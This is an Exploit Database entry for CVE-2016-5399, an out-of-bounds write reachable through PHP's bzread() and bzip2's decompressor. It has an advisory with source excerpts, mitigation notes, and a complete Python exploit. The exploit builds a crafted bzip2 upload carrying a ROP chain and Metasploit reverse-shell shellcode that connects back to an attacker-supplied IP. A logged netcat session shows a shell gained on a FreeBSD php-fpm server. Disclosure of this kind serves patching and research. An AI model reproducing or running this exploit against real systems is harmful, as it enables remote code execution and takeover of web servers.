PHP 5.5.37/5.6.23/7.0.8 – ‘bzread()’ Out-of-Bounds Write

• Exploit Database
• 17 阅读

• 作者： Hans Jerry Illikainen
  日期： 2016-07-25
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40155/

• '''
  PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
  its `bzread()' function:
  
  php-7.0.8/ext/bz2/bz2.c
  ,----
  | 364 static PHP_FUNCTION(bzread)
  | 365 {
  | ...
  | 382 ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
  | 383 ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
  | 384
  | 385 RETURN_NEW_STR(data);
  | 386 }
  `----
  
  php-7.0.8/ext/bz2/bz2.c
  ,----
  | 210 php_stream_ops php_stream_bz2io_ops = {
  | 211 php_bz2iop_write, php_bz2iop_read,
  | 212 php_bz2iop_close, php_bz2iop_flush,
  | 213 "BZip2",
  | 214 NULL, /* seek */
  | 215 NULL, /* cast */
  | 216 NULL, /* stat */
  | 217 NULL/* set_option */
  | 218 };
  `----
  
  php-7.0.8/ext/bz2/bz2.c
  ,----
  | 136 /* {{{ BZip2 stream implementation */
  | 137
  | 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
  | 139 {
  | 140 struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
  | 141 size_t ret = 0;
  | 142
  | 143 do {
  | 144 int just_read;
  | ...
  | 148 just_read = BZ2_bzread(self->bz_file, buf, to_read);
  | 149
  | 150 if (just_read < 1) {
  | 151 stream->eof = 0 == just_read;
  | 152 break;
  | 153 }
  | 154
  | 155 ret += just_read;
  | 156 } while (ret < count);
  | 157
  | 158 return ret;
  | 159 }
  `----
  
  The erroneous return values for Bzip2 are as follows:
  
  bzip2-1.0.6/bzlib.h
  ,----
  | 038 #define BZ_SEQUENCE_ERROR(-1)
  | 039 #define BZ_PARAM_ERROR (-2)
  | 040 #define BZ_MEM_ERROR (-3)
  | 041 #define BZ_DATA_ERROR(-4)
  | 042 #define BZ_DATA_ERROR_MAGIC(-5)
  | 043 #define BZ_IO_ERROR(-6)
  | 044 #define BZ_UNEXPECTED_EOF(-7)
  | 045 #define BZ_OUTBUFF_FULL(-8)
  | 046 #define BZ_CONFIG_ERROR(-9)
  `----
  
  Should the invocation of BZ2_bzread() fail, the loop would simply be
  broken out of (bz2.c:152) and execution would continue with bzread()
  returning RETURN_NEW_STR(data).
  
  According to the manual [1], bzread() returns FALSE on error; however
  that does not seem to ever happen.
  
  Due to the way that the bzip2 library deals with state, this could
  result in an exploitable condition if a user were to call bzread() after
  an error, eg:
  
  ,----
  | $data = "";
  | while (!feof($fp)) {
  | $res = bzread($fp);
  | if ($res === FALSE) {
  | exit("ERROR: bzread()");
  | }
  | $data .= $res;
  | }
  `----
  
  
  Exploitation
  ============
  
  One way the lack of error-checking could be abused is through
  out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
  -> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
  `pos' array using user-controlled selectors as indices:
  
  bzip2-1.0.6/decompress.c
  ,----
  | 106 Int32 BZ2_decompress ( DState* s )
  | 107 {
  | 108UCharuc;
  | 109Int32retVal;
  | ...
  | 113/* stuff that needs to be saved/restored */
  | 114Int32i;
  | 115Int32j;
  | ...
  | 118Int32nGroups;
  | 119Int32nSelectors;
  | ...
  | 167/*restore from the save area*/
  | 168i = s->save_i;
  | 169j = s->save_j;
  | ...
  | 172nGroups = s->save_nGroups;
  | 173nSelectors= s->save_nSelectors;
  | ...
  | 195switch (s->state) {
  | ...
  | 286 /*--- Now the selectors ---*/
  | 287 GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
  | 288 if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
  | 289 GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
  | 290 if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
  | 291 for (i = 0; i < nSelectors; i++) {
  | 292j = 0;
  | 293while (True) {
  | 294 GET_BIT(BZ_X_SELECTOR_3, uc);
  | 295 if (uc == 0) break;
  | 296 j++;
  | 297 if (j >= nGroups) RETURN(BZ_DATA_ERROR);
  | 298}
  | 299s->selectorMtf[i] = j;
  | 300 }
  | 301
  | 302 /*--- Undo the MTF values for the selectors. ---*/
  | 303 {
  | 304UChar pos[BZ_N_GROUPS], tmp, v;
  | 305for (v = 0; v < nGroups; v++) pos[v] = v;
  | 306
  | 307for (i = 0; i < nSelectors; i++) {
  | 308 v = s->selectorMtf[i];
  | 309 tmp = pos[v];
  | 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
  | 311 pos[0] = tmp;
  | 312 s->selector[i] = tmp;
  | 313}
  | 314 }
  | 315
  | ...
  | 613save_state_and_return:
  | 614
  | 615s->save_i = i;
  | 616s->save_j = j;
  | ...
  | 619s->save_nGroups = nGroups;
  | 620s->save_nSelectors= nSelectors;
  | ...
  | 640return retVal;
  | 641 }
  `----
  
  bzip2-1.0.6/decompress.c
  ,----
  | 070 #define GET_BIT(lll,uuu)\
  | 071GET_BITS(lll,uuu,1)
  `----
  
  bzip2-1.0.6/decompress.c
  ,----
  | 043 #define GET_BITS(lll,vvv,nnn) \
  | 044case lll: s->state = lll;\
  | 045while (True) { \
  | ...
  | 065}
  `----
  
  If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
  state and return BZ_DATA_ERROR.If the caller don't act on the
  erroneous retval, but rather invokes BZ2_decompress() again, the saved
  state would be restored (including `i' and `j') and the switch statement
  would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
  preceding initialization of `i = 0' and `j = 0' would not be executed.
  
  In pseudocode it could be read as something like:
  
  ,----
  | i = s->save_i;
  | j = s->save_j;
  | 
  | switch (s->state) {
  | case BZ_X_SELECTOR_2:
  | s->state = BZ_X_SELECTOR_2;
  | 
  | nSelectors = get_15_bits...
  | 
  | for (i = 0; i < nSelectors; i++) {
  | j = 0;
  | while (True) {
  | goto iter;
  | case BZ_X_SELECTOR_3:
  | iter:
  | s->state = BZ_X_SELECTOR_3;
  | 
  | uc = get_1_bit...
  | 
  | if (uc == 0) goto done;
  | j++;
  | if (j >= nGroups) {
  | retVal = BZ_DATA_ERROR;
  | goto save_state_and_return;
  | }
  | goto iter;
  | done:
  | s->selectorMtf[i] = j;
  `----
  
  An example selector with nGroup=6:
  ,----
  | 11111111111110
  | ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
  |`´ j++;
  | j++;goto save_state_and_return;
  | goto iter;
  `----
  
  Since the selectors are used as indices to `pos' in the subsequent loop,
  an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
  could occur if BZ2_decompress() is invoked in spite of a previous error.
  
  bzip2-1.0.6/decompress.c
  ,----
  | 304UChar pos[BZ_N_GROUPS], tmp, v;
  | 305for (v = 0; v < nGroups; v++) pos[v] = v;
  | 306
  | 307for (i = 0; i < nSelectors; i++) {
  | 308 v = s->selectorMtf[i];
  | 309 tmp = pos[v];
  | 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
  | 311 pos[0] = tmp;
  | 312 s->selector[i] = tmp;
  | 313}
  `----
  
  bzip2-1.0.6/bzlib_private.h
  ,----
  | 121 #define BZ_N_GROUPS 6
  `----
  
  
  PoC
  ===
  
  Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
  official repo [2]:
  
  ,----
  | $ nc -v -l 1.2.3.4 5555 &
  | Listening on [1.2.3.4] (family 0, port 5555)
  | 
  | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
  | [*] sending archive to http://target/upload.php (0)
  | 
  | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
  | $ fg
  | id
  | uid=80(www) gid=80(www) groups=80(www)
  | 
  | uname -imrsU
  | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
  | 
  | /usr/sbin/pkg query -g "=> %n-%v" php*
  | => php70-7.0.8
  | => php70-bz2-7.0.8
  | 
  | cat upload.php
  | <?php
  | $fp = bzopen($_FILES["file"]["tmp_name"], "r");
  | if ($fp === FALSE) {
  | exit("ERROR: bzopen()");
  | }
  | 
  | $data = "";
  | while (!feof($fp)) {
  | $res = bzread($fp);
  | if ($res === FALSE) {
  | exit("ERROR: bzread()");
  | }
  | $data .= $res;
  | }
  | bzclose($fp);
  | ?>
  `----
  
  
  Solution
  ========
  
  This issue has been assigned CVE-2016-5399 and can be mitigated by
  calling bzerror() on the handle between invocations of bzip2.
  
  Another partial solution has been introduced in PHP 7.0.9 and 5.5.38,
  whereby the stream is marked as EOF when an error is encountered;
  allowing this flaw to be avoided by using feof().However, the PHP
  project considers this to be an issue in the underlying bzip2
  library[3].
  
  
  
  Footnotes
  _________
  
  [1] [https://secure.php.net/manual/en/function.bzread.php]
  
  [2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399]
  
  [3] [https://bugs.php.net/bug.php?id=72613]
  
  
  -- Hans Jerry Illikainen
  '''
  #!/usr/bin/env python
  #
  # PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm
  # behind nginx.
  #
  # ,----
  # | $ nc -v -l 1.2.3.4 5555 &
  # | Listening on [1.2.3.4] (family 0, port 5555)
  # |
  # | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
  # | [*] sending archive to http://target/upload.php (0)
  # |
  # | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
  # | $ fg
  # | id
  # | uid=80(www) gid=80(www) groups=80(www)
  # |
  # | uname -imrsU
  # | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
  # |
  # | /usr/sbin/pkg query -g "=> %n-%v" php*
  # | => php70-7.0.8
  # | => php70-bz2-7.0.8
  # |
  # | cat upload.php
  # | <?php
  # | $fp = bzopen($_FILES["file"]["tmp_name"], "r");
  # | if ($fp === FALSE) {
  # | exit("ERROR: bzopen()");
  # | }
  # |
  # | $data = "";
  # | while (!feof($fp)) {
  # | $res = bzread($fp);
  # | if ($res === FALSE) {
  # | exit("ERROR: bzread()");
  # | }
  # | $data .= $res;
  # | }
  # | bzclose($fp);
  # | ?>
  # `----
  #
  # - Hans Jerry Illikainen <hji@dyntopia.com>
  #
  import argparse
  import socket
  from struct import pack
  
  import requests
  import bitstring
  
  # reverse shell from metasploit
  shellcode = [
  "\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f"
  "\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6"
  "\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10"
  "\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58"
  "\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f"
  "\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52"
  "\x57\x48\x89\xe6\x0f\x05"
  ]
  
  # we're bound by the MTF and can only reuse values on the stack
  # between pos[0]..pos[255]
  selectors = [
  # retaddr:
  # 0x8009c9462: learsp,[rbp-0x20]
  # 0x8009c9466: poprbx
  # 0x8009c9467: popr12
  # 0x8009c9469: popr14
  # 0x8009c946b: popr15
  # 0x8009c946d: poprbp
  # 0x8009c946e: ret
  #
  # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
  9, 10, 11, 18, 1, 88, 31, 127,
  
  # rbp:
  # 0x802974300 (close to the end of the stream)
  16, 17, 18, 29, 22, 152, 159, 25,
  
  # push it back
  17, 18, 19, 20, 21, 22, 23, 24,
  25, 26, 27, 28, 29, 30, 31, 32,
  33, 34, 35, 36, 37, 38, 39, 40,
  41, 42, 43, 44, 45, 46, 47, 48,
  49, 50, 51, 52, 53, 54, 55, 56,
  57, 58, 59, 60, 61, 62
  ]
  
  payload = [
  # addr
  #
  # 0x41c4c8: poprdi
  # 0x41c4c9: ret
  pack("<Q", 0x41c4c8),
  pack("<Q", 0x0802973000),
  
  # len
  #
  # 0x421508: poprsi
  # 0x421509: ret0x0
  pack("<Q", 0x421508),
  pack("<Q", 0x5555),
  
  # prot
  #
  # 0x519b3a: poprdx
  # 0x519b3b: ret
  pack("<Q", 0x519b3a),
  pack("<Q", 0x7),
  
  # mprotect
  #
  # 0x5adf50: poprax
  # 0x5adf51: ret
  pack("<Q", 0x5adf50),
  pack("<Q", 74),
  
  # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
  #
  # 0x8009d5168: syscall
  # 0x8009d516a: jb 0x8009d9d00
  # 0x8009d5170: ret
  pack("<Q", 0x08009d5168),
  pack("<Q", 0x08029731b7),
  
  "%(shellcode)s",
  
  "%(pad)s",
  
  # 0x45de9c: pop rsp
  # 0x45de9d: ret
  pack("<Q", 0x45de9c),
  pack("<Q", 0x0802973167),
  ]
  
  
  def get_payload(ip, port):
  sc = "".join(shellcode) % {
  "ip": socket.inet_aton(ip),
  "port": pack("!H", port)
  }
  return "".join(payload) % {
  "shellcode": sc,
  "pad": "\x90" * (4433 - len(sc)),
  }
  
  
  def get_header():
  b = bitstring.BitArray()
  b.append("0x425a") # magic
  b.append("0x68") # huffman
  b.append("0x31") # block size (0x31 <= s <= 0x39)
  b.append("0x314159265359") # compressed magic
  b.append("0x11223344") # crc
  b.append("0b0")# not randomized
  b.append("0x000000") # pointer into BWT
  b.append("0b0000000000000001") # mapping table 1
  b.append("0b0000000000000001") # mapping table 2
  b.append("0b110")# number of Huffman groups (1 <= n <= 6)
  b.append(format(len(selectors), "#017b")) # number of selectors
  
  # selector list
  for s in selectors:
  b.append("0b" + "1" * s + "0")
  
  # BZ_X_CODING_1 (1 <= n <= 20).we want a fail to make
  # BZ2_decompress() bail as early as possible into the
  # first gadget since the stack will be kind of messed up
  b.append("0b00000")
  
  return b.tobytes()
  
  
  def send_bzip2(url, bzip2):
  try:
  req = requests.post(url, files={"file": bzip2}, timeout=5)
  except requests.exceptions.Timeout:
  return 0
  return req.status_code
  
  
  def get_args():
  p = argparse.ArgumentParser()
  p.add_argument("--ip", required=True, help="connect-back ip")
  p.add_argument("--port", required=True, type=int, help="connect-back port")
  p.add_argument("--attempts", type=int, default=10)
  p.add_argument("url")
  return p.parse_args()
  
  
  def main():
  args = get_args()
  bzip2 = get_header() + get_payload(args.ip, args.port)
  
  for i in range(args.attempts):
  print("[*] sending archive to %s (%d)" % (args.url, i))
  status = send_bzip2(args.url, bzip2)
  if status == 0:
  break
  elif status == 404:
  exit("[-] 404: %s" % args.url)
  
  if __name__ == "__main__":
  main()